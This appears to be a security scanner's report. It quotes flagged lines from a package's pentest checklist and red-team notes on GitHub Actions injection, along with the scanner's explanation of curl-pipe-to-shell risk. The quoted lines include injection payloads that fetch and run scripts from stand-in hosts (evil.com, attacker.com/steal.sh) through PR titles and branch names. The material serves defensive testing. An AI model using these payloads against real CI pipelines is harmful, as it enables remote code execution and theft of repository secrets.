package/references/pentest-checklists.md:140
- [ ] **PR title/body injection** | Create PR with title: `"; curl evil.com | bash; "` | Pass: title not interpolated in shell. Fail: command executed.
- [ ] **Workflow trigger injection** | Trigger `pull_request_target` workflow from forked PR | Pass: secrets not accessible from fork. Fail: `GITHUB_TOKEN` with write access exposed.Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.

HIGHMakefile/script pipes remote content to shell
package/references/red-team-specializations.md:127
- **Preconditions:** `pull_request_target` trigger + checkout of untrusted code, variable interpolation in run steps
- **Attack chain:** PR branch named `$(curl attacker.com/steal.sh | bash)` → workflow runs → command executes with repo secrets
- **Control breakers:** Actions pinned to full commit SHAs, `pull_request` (not `_target`) for untrusted PRs, minimal GITHUB_TOKEN permissions, harden-runner to block unexpected egressWhy was this flagged?
